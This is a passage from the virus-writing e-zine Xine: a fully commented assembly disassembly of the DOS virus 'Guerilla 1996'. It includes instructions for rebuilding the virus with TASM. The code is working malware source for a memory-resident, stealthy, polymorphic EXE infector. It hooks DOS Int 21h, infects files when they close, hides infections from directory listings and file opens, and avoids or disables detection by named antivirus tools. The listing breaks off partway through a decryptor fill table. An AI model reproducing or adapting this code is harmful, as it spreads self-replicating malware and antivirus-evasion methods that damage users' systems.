
                                        /-----------------------------\
                                        | Xine - issue #2 - Phile 032 |
                                        \-----------------------------/


;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл					                                 лл
;лл                      GUERILLA 1996 Disassembly                       лл
;лл                             by b0z0/iKx                              лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
; Virus Name    : Guerilla 1996
; Virus Author  : PH (?)
; Virus Lenght  : 1996
; Virus Type    : TSR EXE infector, Full stealth, Polymorphic
; Hooked Ints   : 21h
; Hooked Funcs. : 09h,11h,12h,32h,3Dh,3Eh,4Bh,4Ch,4Eh,4Fh,6Ch
; Infect on     : Close (3Eh)
; Payloads      : None
; Compiling     : Use TASM 3.0 to get the original Guerilla.1996
;                       TASM guerilla.asm
;                       TLINK guerilla
;                 Other compilers may not exactly reproduce the first gen.
; AV report     :
;                       TBScan 7.06: '#' flag on all infected files
;                       Fprot 2.26: Detect it. (from 2.26 up)
;                       AVP 2.22 (updated bases): Nothing
;                             - The virus is (for what AVP says :) ) 
;                               found with an updated base for AVP 3.0b...
;
; For more informations (for example about the poly and infection
; method) check around the code! I prefeered to put some long comments and
; major explanations at the parts that are more interesting instead of
; writing 500 lines of intro ;-)
;


virus_lenght            equ     (virus_end-virus_start)
virus_lenght_para       equ     (((virus_lenght + 10h)/10h)+1)
virus_lenght_file       equ     (virus_end_file-virus_start)
first_enc_lenght        equ     (first_encr_end-first_encr_start+1)
second_encrypt_lenght   equ     (end_second_encrypt-start_second_encrypt)

;-------------------------------------------------------  guerilla   ----

guerilla           segment byte public
                   assume cs:guerilla  , ds:guerilla

; Virus Entry Point

virus_start:
start:
                mov     bp,0                    ; Delta offset in BP
fill_poly_3:
                mov     al,5
                mov     ah,3
fill_poly_5:
                and     bx,0
		nop
                int     16h                     ; Fool Tbscan
fill_poly_6:
                mov     si,bp
		clc				; Clear carry flag
		nop
                call    first_layer_enc         ; Decryption routine

; Everything after this line up to first_encr_end will be encrypted by
; the first encryption routine

first_encr_start:
                push    ds
		clc				; Clear carry flag
                call    second_encr             ; Second Decryption routine

; Everything after this line up to enc_second_encrypt will be encrypted by
; the second encryption routine

start_second_encrypt:

                mov     ah,30h
                int     21h                     ; get DOS version in al

                cmp     al,5                    ; Runs only on DOS 5 or
                jae     ok_dos_version          ; higher
                jmp     resume_orig_exe
ok_dos_version:
		push	cs
		pop	ds

                lea     dx,[bp+dollar_char]     ; DS:DX points on '$'
                mov     ah,9                    ; Write a char
                int     21h

                cmp     bx,3135h                ; Residency check
                je      resume_orig_exe         ; Go away if resident!

                sub     ax,ax
                mov     ds,ax                   ; DS=0 -> to IVT

                push    word ptr ds:[21h*04h] ; Push Int21h offset
                push    word ptr ds:[21h*04h] ; Push Int21h offset
                push    word ptr ds:[21h*04h+02h]  ; Push Int21h segment
                push    word ptr ds:[21h*04h+02h]  ; Push Int21h segment
                pop     word ptr cs:[sec_int21_segment+bp]   ; Save segment
                pop     word ptr cs:[fir_int21_segment+bp]   ; Save segment
                pop     word ptr cs:[sec_int21_offset+bp]    ; Save offset
                pop     word ptr cs:[fir_int21_offset+bp]    ; Save offset

                xor     di,di                   ; DI = 0
                call    tsr_av_check            ; Look for TSR AVs
                jz      resume_orig_exe         ; If Z then an AV is resident

                mov     ax,es                   ; ES Last memory block
                dec     ax                      ; AX on MCB
		push	ax
		pop	ds

                inc     di
		mov	al,[di-1]
                cmp     al,'N'                  ; Is the last MCB?
                jl      resume_orig_exe         ; Less -> No, go away

                mov     bx,[di+2]               ; Lenght of the MB
                sub     bx,virus_lenght_para    ; Substract our lenght
                jc      resume_orig_exe

                mov     ax,[di+11h]             ; DI+11h = PSP + 02h
                sub     ax,virus_lenght_para    ; That is segment limit
                mov     [di+2],bx               ; Put new lenght in MCB
                mov     [di+11h],ax             ; and in the PSP

                mov     es,ax
		sub	ax,ax
                mov     ds,ax                   ; DS on IVT
                cli
                mov     word ptr ds:[21h*04h],offset int21h_handler
                mov     ds:[21h*04h+02h],es     ; Set our int21h handler
                sti

                xor     di,di                   ; Copy to ES:DI, ES:0
		push	cs
		pop	ds
		cld				; Clear direction
                mov     cx,virus_lenght         ; Number of bytes to copy

                db      8dh,0b6h,00h,00h        ; LEA si,[bp+0]
                rep     movsb                   ; Copy the virus in memory

resume_orig_exe:
		pop	ds
		push	ds
		pop	es
		mov	ax,es

                db      83h,0c0h,10h            ; ADD ax,10h

                add     word ptr cs:[victim_cs+bp],ax

                db      81h,0c0h                ; ADD ax,_add_to_ax_
add_to_ax       db      00h,00h

                cli
                mov     sp,0            ; This will be changed in the
                mov     ss,ax           ; infection phase to reflect the
                sti                     ; original SS:SP

                sub     ax,ax           ; Zero all registers
		sub	bx,bx
		sub	cx,cx
		sub	dx,dx
		sub	si,si
		sub	di,di
		sub	bp,bp

                db      0EAh            ; Give control to the host
victim_ip       dw      0
victim_cs       dw      0FFF0h



; Virus Int 21h handler
;

int21h_handler:
                push    si
                pushf                           ; Push flags
		xor	si,si			; Zero register
function_check_loop:
                cmp     ah,byte ptr cs:[hooked_services + si]
                jne     not_interesting_fc
                popf
                jmp     word ptr cs:[hooked_services + 1 + si]
not_interesting_fc:
                add     si,3                    ; Look trought our table
                cmp     si,21h                  ; if the service is of our
                jne     function_check_loop     ; interest
                popf
		pop	si
                jmp     jmp_to_old_int21h       ; Jump to old 21h handler

; End of virus int 21h handler


; Table with hooked services and respective jumps to it's procedure

hooked_services:
                db      4bh                     ; AH=4Bh - EXECUTE
                dw      offset int_execute
                db      4ch                     ; AH=4Ch - TERMINATE
                dw      offset int_execute
                db      09h                     ; AH=09h - VIRUS CHECK
                dw      offset int_virus_check
                db      11h                     ; AH=11h - FINDFIRST FCB
                dw      offset int_fcb_stealth
                db      12h                     ; AH=12h - FINDNEXT FCB
                dw      offset int_fcb_stealth
                db      4eh                     ; AH=4Eh - FINDFIRST DTA
                dw      offset int_dta_stealth
                db      4fh                     ; AH=4Fh - FINDNEXT DTA
                dw      offset int_dta_stealth
                db      3dh                     ; AH=3Dh - OPEN
                dw      offset int_open_stealth
                db      3eh                     ; AH=3Eh - CLOSE
                dw      offset int_close_infect
                db      6ch                     ; AH=6Ch - EXTENDED OPEN
                dw      offset int_open_stealth
                db      32h                     ; AH=32h - GET DPB
                dw      offset int_execute
end_hooked_services:

;
; Int_Execute is called on 4Bh (EXECUTE), 32h (Get DPB), 4Ch (TERMINATE).
; If the call is a 4Bh then the virus will check if an antivirus or a
; special program from it's table is running (ex. windoze) and if this
; is true then it will totally disable stealth.
; If the call is a 4Ch then the virus will simple reenable stealth.
; If the call is a 32h (used by program such as CHKDSK) the virus will
; disable stealth to evitate strange reports to the user.
;

int_execute:
                push    ax
                push    bx
                push    di

                mov     di,(offset special_names - 1)
                mov     bx,di

                cmp     ah,32h                  ; Check which function
                je      disable_stealth
                cmp     ah,4ch
                je      enable_stealth

                mov     si,dx
search_dot:
                cmp     byte ptr [si],'.'       ; Is a dot?
                je      name_check              ; If so go to name_check
                cmp     byte ptr [si],0         ; End of the name?
                je      int_execute_exit        ; Exit if so
		inc	si
                jmp     short search_dot        ; Search the dot

; Check if is one of the names in our table

name_check:
                dec     si                      ; On last filename letter
                inc     di                      ; Point on the non-infectable
                mov     al,cs:[di]              ; names table
		cmp	al,[si]
                je      name_check              ; If equal continue comp.
                cmp     al,' '                  ; finished our name?
                je      disable_stealth         ; EQ = yes, so disable st.
                add     bx,8                    ; Skip to next name
		mov	di,bx
                cmp     byte ptr cs:[di+1],0    ; finished table?
                jne     search_dot              ; No, continue search
enable_stealth:
                mov     byte ptr cs:stealth_enabled,1
                jmp     short int_execute_exit
disable_stealth:
                mov     byte ptr cs:stealth_enabled,0
int_execute_exit:
		pop	di
		pop	bx
		pop	ax
		pop	si
                jmp     jmp_to_old_int21h

; When one of this programs is runned the virus will totally disable it's
; stealth features.

special_names:
                db      'NACSBT  '              ; TBScan
                db      'NIW     '              ; Windows
                db      'PUTESBT '              ; TBSetup
                db      'PIZKP   '              ; PKZip
                db      'JRA     '              ; Arj
                db      'RAR     '              ; Rar
                db      'AHL     '              ; Lha
                db      'FNIDA   '              ; Adinf
		db	0


; The Int_close_infect is the routine that will infect a file that is
; going to be closed using function 3Eh. Infection will be possible only
; if:   - stealth is enabled (so no AV/compressor is running)
;       - default drive is a fixed drive (to prevent big loss of time)
;       - the handle is minor than 5. This is to be sure it is a file handle
; The infection routine uses SFTs for some operations. Infected files are
; longer than 5000 bytes and shorter than 383kb. Some AVs won't be infected.
; The virus will of course also save the original EXE header for future
; stealth. The original EXE header is encrypted with a 8-bit XOR with the
; value of the time of the file.
; The virus will put also a check in the EXE header that is calculated
; from the original EXE. This is done by adding 17h to the new SS and then
; by rol-ing by one. This calculated value will be used also as the random
; number from which depends the poly routine. So the decryption routine and
; the decryption values will be the same if two identical files are infected.
; This may be considered quite funny, because may fool some AV homebrewers
; that was triing to study the virus on a couple of identical goats :-)
;  The poly engine isn't very complex. The decryptor has always some fixed
; instructions at the same place, so i don't think it would be too hard to
; get them. Random instructions are also put in some predefined places in
; the decryptor. The random instructions aren't generated 'on the fly' but
; rather selected from a table of suitable instructions. There are two layers
; of encryption. The first is a ROL or ROR loop, the second is ADD or SUB
; loop. It is quite interesting that the virus when encrypting the body
; to infect a file doesn't need another extra space, but will encrypt itself
; in memory and will just leave of course the decryptor, a routine that
; writes the encrypted body to the file and a call to the decryptor that
; will decrypt again the body in memory.
;  In addition to try to make the life of avw more difficoult the virus
; will put on the tail of the infected host a random number of bytes. This
; random number of bytes is a derivate from the file time, so the virus
; will be able to know how much stuff did it put when it will stealth the
; virus size.
;


int_close_infect:
                push    ax                      ; Save registers
                push    bx
                push    cx
                push    dx
                push    di
                push    es
                push    ds
                pushf
                push    cs
                pop     ds

                cmp     bl,05h                  ; Only handles < 05h
                jnb     seems_an_ok_handle      ; To be sure it is a file
                jmp     int_close_exit
seems_an_ok_handle:
                call    get_default_dr          ; Infect only if the curr.
                jnb     ok_default_dr           ; default drive is > B:
                jmp     int_close_exit
ok_default_dr:
                cmp     byte ptr cs:stealth_enabled,0   ; Stealth enabled?
                jne     stealth_is_enabled      ; Continue if it is
                jmp     int_close_exit
stealth_is_enabled:
                call    get_sft
                mov     ds:[sft_es],es
                mov     ds:[sft_di],di              ; Check if it is an EXE
                cmp     word ptr es:[di+28h],'XE'
                je      seems_an_exe
                jmp     int_close_exit
seems_an_exe:
                cmp     byte ptr es:[di+2Ah],'E'
                je      is_an_exe               ; Well, it is a .EXE
                jmp     int_close_exit
is_an_exe:
                call    check_filetime          ; Check file time
                jnz     ok_time                 ; NZ -> Not our timemarker
                jmp     int_close_exit
ok_time:
                call    seek_woff               ; Go to start of the file

                nosmart
                lea     dx,exe_header_space     ; Point the header buffer
                smart

                call    read_header             ; Read EXE header
                jnc     read_header_passed      ; Jump if no errors
                jmp     int_close_exit
read_header_passed:
                cmp     word ptr [si+18h],40h   ; Is a WinExe?
                jne     no_winexe
                jmp     int_close_exit
no_winexe:
                mov     ah,[si]                 ; First header byte
                xor     ah,4Dh                  ; 'M'. MZ exe check
                jz      first_byte_exe          ; Zero if is 'M'
                jmp     int_close_exit
first_byte_exe:
                mov     ax,[si+12h]             ; On checksum is our
                ror     ax,1                    ; infection check.

                db      83h,0e8h,17h            ; SUB ax,17h

                cmp     ax,[si+0Eh]             ; Infection check in header
                jne     not_equal_check         ; NE -> Not infected
                jmp     int_close_exit          ; If infected go away
not_equal_check:
                mov     ax,4202h                ; Go to end of file
                xor     cx,cx
                cwd                             ; DX:CX = 0
                call    do_orig_int21h          ; do the int 21h
                mov     lenght_dx,dx            ; Store lenght
                mov     lenght_ax,ax
                or      dx,dx                   ; Shorter than 64k?
                jz      check_ax_lenght         ; If so do another check
		cmp	dx,5
                jbe     ok_dx_lenght            ; Ok if shorter than 383k
                jmp     int_close_exit
ok_dx_lenght:
                jmp     short ok_axdx_lenght
check_ax_lenght:
                cmp     ax,5000d                ; Shorter than 5000 bytes?
                jae     ok_axdx_lenght
                jmp     int_close_exit          ; If shorter then go away!
ok_axdx_lenght:
                mov     ax,[si+4]               ; Check for overlays
		mov	cx,200h
                mul     cx                      ; Calculate the lenght
                mov     cx,[si+2]               ; of the EXE from the
                or      cx,cx                   ; header data
                jz      no_last_page_c
		sub	ax,200h
		sbb	dx,0
                add     ax,cx                   ; Add Last Page count
		adc	dx,0
no_last_page_c:
                cmp     ax,lenght_ax            ; Compare header and real
                je      eq_ax_lenght            ; lenght of the file
                jmp     int_close_exit          ; Go away if different
eq_ax_lenght:
                cmp     dx,lenght_dx            ; Compare header and real
                je      eq_dx_lenght            ; lenght of the file
                jmp     int_close_exit          ; Go away if different
eq_dx_lenght:
                mov     dx,es:[di+20h]          ; DX=first two letters of
                                                ; the filename of the program
                                                ; being infected
                nosmart
                lea     si,av_names             ; Point to non infectables
                smart

                mov     cx,0Dh

av_name_loop:
                lodsw                           ; Get next AV
                cmp     ax,dx                   ; Compare two letters
                jne     no_current_av           ; Not equal go to next AV
                jmp     int_close_exit          ; Equal exit infection
no_current_av:
                loop    av_name_loop            ; Loop trought all AVs

		push	ds
		pop	es

                nosmart                         ; Point on IP
                lea     si,(exe_header_space + 14h)
                lea     di,victim_ip            ; Space for old IP
                smart
                                               
                movsw                           ; Save original CS and IP
                movsw
                sub     si,0Ah                  ; Point on original SS

                nosmart
                lea     di,add_to_ax
                smart

                movsw                           ; Save SS
                inc     di                      ; Point to "mov sp,0"
		inc	di
                movsw                           ; Save SP
                sub     si,12h                  ; SI = 0
		push	si

                nosmart
                lea     di,head_buffer
                smart

                cld                             ; Copy EXE header to our
                mov     cx,18h                  ; head_buffer
                rep     movsb
		pop	si


                mov     ax,5700h                ; Get file's Date and Time
                call    do_orig_int21h          ; Call int 21h
                mov     file_time,cx            ; Store Date and Time
                mov     file_date,dx

                call    encrypt_header          ; Encrypt EXE header

                mov     es,sft_es               ; ES:DI -> SFT entry
                mov     di,sft_di

                mov     ax,lenght_ax
                mov     dx,lenght_dx
                mov     es:[di+15h],ax          ; Put new position in the
                mov     es:[di+17h],dx          ; SFT entry

                mov     cx,10h
                div     cx                      ; Calculate new CS:IP
                inc     si                      ; for the infected file
		sub	ax,[si+7]
		sbb	dx,0

                mov     [si+15h],ax             ; Put new CS:IP in the
                mov     [si+13h],dx             ; EXE header

                mov     word ptr ds:[1],dx      ; Put new "delta offset"
                                                ; in the first line of
                                                ; code for future
		inc	ax
                mov     [si+0Dh],ax             ; Put new SS

                db      83h,0c0h,17h            ; ADD ax,17h

                rol     ax,1                    ; Calculate marker
                mov     [si+11h],ax             ; Put marker

                mov     inf_marker,ax           ; Get random number from
                and     al,0Fh                  ; our infection marker
                or      al,al                   ; Zero?
                jnz     no_al_increment
                inc     al                      ; At least 1 for rotating
no_al_increment:
                mov     byte ptr ds:[first_rand],al     ; Store random
                mov     byte ptr ds:[second_rand],al    ; bytes. In
                mov     ch,10h                          ; first_rand_beta
                sub     ch,al                           ; will be stored
                mov     byte ptr ds:[first_rand_beta],ch; the opposite

                test    al,1                        ; Decide if ROR or ROL
                jnz     do_the_ror
                mov     byte ptr rotate_oper,0C0h   ; Put ROL
                mov     byte ptr reg8ch1,5          ; And use AL
                mov     byte ptr reg8ch2,5
                jmp     short proceed_enc
do_the_ror:
                mov     byte ptr rotate_oper,0CCh   ; Put ROR
                mov     byte ptr reg8ch1,25h        ; And use AH
                mov     byte ptr reg8ch2,25h
proceed_enc:
                mov     word ptr [si+0Fh],0     ; put new SP = 0

                db      81h,44h,09h,7dh,00h     ; ADD word ptr [si+9],7Dh
                                                ; Add 7Dh to MinAlloc


; The code after this line changes the decryptor using some predefinited
; opcodes stored in a table. The various src_fill_* are the labels for
; the source bytes from which will be selected some to change the decryptor.
; The fill_poly_* are the places where foo instructions will be put.
; So DI will carry various places to fill with garbage instructions and
; SI will point on suitable instructions for that place. copy_poly_b will
; fill some place at DI with some random stuff from SI (or near SI).
;

                push    si
		push	di
		push	bx
		mov	bx,3

                nosmart
                lea     si,enc_table_start
                lea     di,fill_poly_1
                smart
                call    copy_poly_b

                nosmart
                lea     di,fill_poly_2
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_3
                lea     di,fill_poly_3
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_4
                lea     di,fill_poly_4
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_5
                lea     di,fill_poly_5
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_6
                lea     di,fill_poly_6
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_7
                lea     di,fill_poly_7
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_8
                lea     di,fill_poly_8
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_9
                lea     di,fill_poly_9
                smart
                call    copy_poly_b

                mov     bx,2

                nosmart
                lea     si,src_fill_10
                lea     di,fill_poly_10
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_11
                lea     di,fill_poly_11
                smart
                call    copy_poly_b

                nosmart
                lea     si,src_fill_12
                lea     di,fill_poly_12
                smart
                call    copy_poly_b

; End of decryptor modification

                pop     bx
		pop	di
		pop	si

                call    modify_time
                add     cx,virus_lenght_file    ; CX = bytes to write
                mov     ah,40h                  ; Will write
		push	si
		push	di
		push	es
                call    enc_dec_copy            ; Encrypt ourselves, write
                pop     es                      ; to a file and also of
                pop     di                      ; course decrypt
		pop	si

                mov     ax,lenght_ax            ; Calculate new EXE file
                mov     dx,lenght_dx            ; lenght
                add     ax,virus_lenght_file
		adc	dx,0
		mov	cx,200h
                div     cx
                or      dx,dx
                jz      no_page_fix
		inc	ax
no_page_fix:
                mov     [si+1],dx               ; Put new lenght in the
                mov     [si+3],ax               ; EXE header
                call    seek_woff               ; Go at start!

                nosmart
                lea     dx,exe_header_space
                smart

                call    write_header            ; Write new header

                mov     ax,5701h
                mov     cx,file_time            ; Restore file_time
                and     cx,0FFE0h               ; Put marker for stealth
		or	cx,5
                mov     dx,file_date            ; and file_date
                call    do_orig_int21h

int_close_exit:
		popf				; Pop flags
		pop	ds
		pop	es
		pop	di
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	si
                jmp     jmp_to_old_int21h


; Check if the virus is already in memory. This is checked at function
; 09h (Write a string) when the string to write is only a '$'.
;

int_virus_check:
                pop     si
		push	di
		mov	di,dx
                cmp     byte ptr [di],'$'
		pop	di
                je      residency_call
                jmp     jmp_to_old_int21h
residency_call:
		mov	bx,3135h
		iret				; Interrupt return


; Int_dta_stealth is the routine that manages the stealth on Findfirst
; and Findnext (4Eh/4Fh) functions.
;

int_dta_stealth:
                call    do_orig_int21h
                jc      exit_dta_stealth        ; Jump if Error

                cmp     byte ptr cs:stealth_enabled,0
                je      exit_dta_stealth        ; Jump if stealth disabled

                push    es
		push	cx
		push	bx
		push	ax
		push	di

                mov     ah,2Fh                  ; Get DTA
                call    do_orig_int21h

                xchg    di,bx
		mov	si,di
                add     di,16h                  ; Point DI to FileTime
                add     si,1Ah                  ; Point SI to FileSize

                call    mask_time               ; Check if it is infected
                                                ; and stealth size if it is
                pop     di
		pop	ax
		pop	bx
		pop	cx
		pop	es
		clc				; Clear carry flag

exit_dta_stealth:
		pop	si
		retf	2			; Return far


; Int_fcb_stealth manages stealth on 11h/12h
;

int_fcb_stealth:
                call    do_orig_int21h
                or      al,al                   ; Was 11h/12h successful?
                jnz     exit_11_12              ; If no go away

                cmp     byte ptr cs:stealth_enabled,0   ; Stealth enabled?
                je      exit_11_12                      ; No, go away

                push    es
		push	cx
		push	bx
		push	ax
		push	di

                mov     ah,2Fh                  ; Get DTA
                call    do_orig_int21h

                xchg    di,bx
		mov	bl,es:[di]
                xor     bl,0FFh                 ; Extended FCB?
                jnz     no_ext_fcb              ; No, no add
                add     di,7                    ; Yea, add 7
no_ext_fcb:
		mov	si,di
                add     di,17h                  ; Point DI on FileTime
                add     si,1Dh                  ; Point SI on FileSize
                call    mask_time               ; Check if infected and
                pop     di                      ; stealth size if it is
		pop	ax
		pop	bx
		pop	cx
		pop	es
exit_11_12:
		pop	si
		iret				; Interrupt return

; mask_time will be called by both 11h/12h and 4Eh/4Fh stealth routines.
; It assumes that es:[di] points on file time and es:[si] on filesize.
; It will check the timestamp and, if the file will seem infected, will
; hide the size. The foo bytes at the tail of the host are calculated
; in the same way as before in the infection stage.
;

mask_time       proc    near
                mov     ax,es:[di]              ; File time in AX
                mov     bx,ax                   ; File time in BX

                db      83h,0e0h,1fh            ; AND ax,1fh
                db      83h,0f0h,05h            ; XOR ax,05h

                jnz     it_isnt_infected
                mov     cl,5                    ; Get amount of garbage
                shr     bx,cl                   ; from the File Time
                and     bx,3Fh
                cmp     word ptr es:[si+2],0    ; Smaller than 64k ?
                jne     substract_lenght        ; No, so no second check
		cmp	word ptr es:[si],1388h
                jb      it_isnt_infected        ; We don't infect files
                                                ; smaller than 5000 bytes
substract_lenght:
                add     bx,virus_lenght_file
                sub     es:[si],bx              ; Hide virus lenght
		sbb	word ptr es:[si+2],0
it_isnt_infected:
		retn
mask_time       endp

; int_open_stealth is the stealth routine on OPEN (3Dh and 6Ch for extended
; open). The virus will reput the original header and delete the virus
; body at the end of the host.
;

int_open_stealth:
                pop     si
		push	ax
		push	bx
		push	cx
                push    dx                      ; Save regs
		push	si
		push	di
		push	ds
		push	es
                pushf
                cmp     ah,6Ch                  ; Extended open?
                jne     normal_open             ; No, normal
                mov     dx,si                   ; Yea, so put right register
normal_open:
                call    get_default_dr
                jnc     dfl_dr_ok               ; Jump if drive > B:
                jmp     int_open_end
dfl_dr_ok:
                cmp     byte ptr cs:stealth_enabled,0
                jne     ste_enabled             ; Jump if not stealthing
                jmp     int_open_end
ste_enabled:
                mov     ax,3D00h                ; Open file in RO mode
                call    do_orig_int21h
                jnc     ok_opening              ; Continue if no errors
                jmp     int_open_end
ok_opening:
                xchg    bx,ax                   ; File handle in BX
		push	cs
		pop	ds

                call    get_sft

                cmp     word ptr es:[di+28h],'XE'   ; Is an exe?
                jne     int_open_end_wc         ; If not leave

                call    check_filetime          ; Our timestamp?
                jnz     int_open_end_wc         ; If not leave

                mov     ax,es:[di+11h]          ; Get file size
		mov	dx,es:[di+13h]

                mov     lenght_ax,ax            ; Store file size
                mov     lenght_dx,dx

                call    modify_time             ; Here the virus gets
                                                ; from the time how many
                add     cx,1Ch                  ; foo bytes have been put
                                                ; Add also 1Ch so we will
                                                ; point to the encrypted
                                                ; original EXE header
                sub     ax,cx                   ; Substract the foo bytes
                                                ; and the offset of the
                                                ; encrypted EXE header
                sbb     dx,0                    ; from the filesize
                mov     es:[di+15h],ax          ; Put current offset in file
                mov     es:[di+17h],dx          ; to our encrypted original
                                                ; EXE header
                nosmart
                lea     dx,head_buffer
                smart

                call    read_header             ; Read encrypted EXE header
                jc      int_open_end_wc         ; Exit on error
                call    encrypt_header          ; Decrypt the EXE header
                cmp     byte ptr [si],'M'       ; Seems ok?
                jne     int_open_end_wc         ; If not exit
                call    seek_woff               ; Go to file start
                call    write_header            ; Write the orignal header
                jc      int_open_end_wc         ; Exit on error
                mov     ax,lenght_ax            ; Get file lenght
                mov     dx,lenght_dx
                call    modify_time             ; Calculate foo bytes in CX
                add     cx,virus_lenght_file    ; Add virus lenght
                sub     ax,cx                   ; Substract virus size from
                sbb     dx,0                    ; file lenght
                mov     es:[di+15h],ax          ; DO IT!
		mov	es:[di+17h],dx
                mov     ah,40h                  ; Write to file
                xor     cx,cx                   ; CX=0, truncate file
                call    do_orig_int21h          ; Go
                mov     ax,5701h                ; Set file time/date
                mov     cx,file_time            ; Get original time/date
                mov     dx,file_date
                call    do_orig_int21h          ; Set original time/date
int_open_end_wc:
                mov     ah,3Eh                  ; Close file
                call    do_orig_int21h
int_open_end:
		popf				; Pop flags
		pop	es
		pop	ds
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax

jmp_to_old_int21h:
                        db      0EAh
fir_int21_offset        dw      00h
fir_int21_segment       dw      00h

; tsr_av_check walks trought the memory control blocks and check if there
; is an AV active in memory.
;

tsr_av_check    proc    near
		push	es
		push	ds
                mov     ah,52h                  ; Get List of the Lists
                call    do_orig_int21h
                push    word ptr es:[bx-2]      ; Push segment of the first
                pop     ds                      ; MCB
mcb_checking:
                cmp     byte ptr [di],'M'       ; Isn't last block?
                je      examine_mem             ; It isn't, so jump
                cmp     byte ptr [di],'Z'       ; Is last block?
                jne     exit_av_mem_check       ; No, jump away
examine_mem:
                lea     si,[bp+av_mem_names]    ; Point on TSR AV table
                mov     cx,3                    ; 3 TSR AV in our table

mem_check_loop:
                mov     ax,[di+8]               ; Get program name
                cmp     ax,cs:[si]              ; It is equal than our AV?
                jne     continue_next_av
                mov     al,cs:[si+2]            ; Check the third char
		cmp	al,[di+0Ah]
                je      exit_av_mem_check       ; There is an AV in mem!
                cmp     al,'*'                  ; Wildcard in our table?
                je      exit_av_mem_check       ; So assume AV present!
continue_next_av:
		add	si,3
                loop    mem_check_loop          ; Loop if cx > 0

		mov	ax,ds
                add     ax,[di+3]               ; Add Memory Block size
                inc     ax                      ; On the next MCB
                mov     ds,ax                   ; Examine it!
                jmp     short mcb_checking

exit_av_mem_check:
		pop	ds
		pop	es
		retn
tsr_av_check    endp


get_sft         proc    near
		push	bx
                mov     ax,1220h                ; Get JFT entry
                int     2Fh
                                                ; ES:DI -> JFT entry
                                                ; for file handle in
                                                ; current process
                xor     bx,bx
                mov     bl,es:[di]              ; BL = SFT entry number
                mov     ax,1216h                ; Get address of SFT
                int     2Fh

                mov     word ptr es:[di+2],2    ; Set RW mode to file
		pop	bx
		retn
get_sft         endp


get_default_dr  proc    near
                mov     ah,19h                  ; Get current default
                call    do_orig_int21h          ; drive
                cmp     al,2                    ; Compare with C:
		retn
get_default_dr  endp


; timestamp check/creation
;

check_filetime  proc    near
                mov     ax,es:[di+0Dh]          ; Filetime
                db      83h,0e0h,1fh            ; AND ax,1fh
                db      83h,0f0h,05h            ; XOR ax,05h
                retn
check_filetime  endp

; Reads 1Ch bytes from the current file to DS:DX and sets SI=DX
;

read_header     proc    near
                mov     ah,3Fh                  ; Read from file
                mov     cx,1Ch                  ; 1Ch bytes
                call    do_orig_int21h          ; do the Int 21h
		mov	si,dx
		retn
read_header     endp

; Writes 18h bytes to file from DS:DX
;

write_header    proc    near
                mov     ah,40h                  ; Write to file
                mov     cx,18h                  ; 18h bytes
                call    do_orig_int21h          ; Call original int 21h
		retn
write_header    endp


; calculate the number of foo bytes to write at the tail of the file
; the routine is very simple

modify_time     proc    near
                mov     cx,es:[di+0Dh]          ; FileTime
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		and	cx,3Fh
		retn
modify_time     endp


encrypt_header  proc    near
		push	di
                mov     ah,byte ptr file_time   ; Use time as key

                nosmart
                lea     di,head_buffer          ; Point on EXE header
                smart

                mov     cx,18h

enc_head_loop:
		mov	al,[di]
                xor     al,ah                   ; Encrypt the EXE header
                mov     [di],al                 ; using a 8bit XOR
		inc	di
                loop    enc_head_loop

		pop	di
		retn
encrypt_header  endp


; Put current offset in file to 0:0, that means to the start of the
; file. ES:DI of course on the SFT entry.
;

seek_woff       proc    near
                mov     word ptr es:[di+15h],0
		mov	word ptr es:[di+17h],0
		retn
seek_woff       endp


; copies 4 random bytes from the table pointed by CS:[SI+random] to the
; space for filling at CS:[DI]. The random offset in the table is calculated
; from the infection marker and is minor than BX
;

copy_poly_b     proc    near
		push	es
		push	ds
		push	ax
		push	cx
		push	bx
		push	si
		push	di
		push	cs
		pop	ds
		push	cs
		pop	es
                mov     ax,inf_marker
		xor	ax,di
num_select:
                shr     ax,1
		mov	cx,ax
		and	cx,3
                cmp     cx,bx                   ; Minor than max?
                jge     num_select              ; No, retry.

                mov     ax,cx
		mov	cx,4
                mul     cl
                add     si,ax                   ; Point to the selected
                mov     cx,5                    ; bytes
                jmp     short start_copy_loop   ; Go and copy the bytes

                db      0EAh

copy_loop:
                mov     al,byte ptr cs:[si]
                mov     byte ptr cs:[di],al
		inc	di
		inc	si
start_copy_loop:
                loop    copy_loop

                pop     di
		pop	si
		pop	bx
		pop	cx
		pop	ax
		pop	ds
		pop	es
		retn
copy_poly_b     endp

; Table with operations that will be put in the decryptor
;

enc_table_start:
                clc
                clc
                clc
		nop
                or      ax,ax
		nop
		nop
                db      83h,0c8h,00h            ; OR ax,0
                nop
src_fill_6:
                push    bp
		pop	si
                clc                             
                clc                             
		mov	si,bp
                or      ax,ax                   
		mov	si,bp
                or      dx,dx                   
src_fill_10:
                nop
		nop
                jc      $+4
                jnc     $+4
                jmp     short $+4
src_fill_9:
                nop
		add	di,si
		nop
                clc
                adc     di,si
                clc
                nop
                clc
		add	di,si
src_fill_4:
                inc     di
		dec	di
		inc	di
		nop
		dec	di
		inc	di
		nop
		inc	di
		add	di,1
		nop
src_fill_12:
                nop
		nop
                db       66h, 4Ah               ; DEC edx
                db       66h, 83h,0EAh, 01h     ; SUB edx,01h
src_fill_7:
                db       66h, 0Bh,0D2h          ; OR edx,edx
                nop
                db       66h, 23h,0D2h          ; AND edx,edx
                nop
                db       66h, 83h,0FAh, 00h     ; CMP edx,00h
src_fill_5:
                sub     bx,bx
                sub     bx,bx
                mov     bx,0
		nop
		nop
		and	bx,0
src_fill_3:
                mov     ah,3
		mov	al,5
		mov	cx,305h
		xchg	cx,ax
		mov	al,5
		mov	ah,3
src_fill_11:
                jz      $+4                     ; Jump if zero
                jmp     short $-16h
		jnz	$-14h			; Jump if not zero
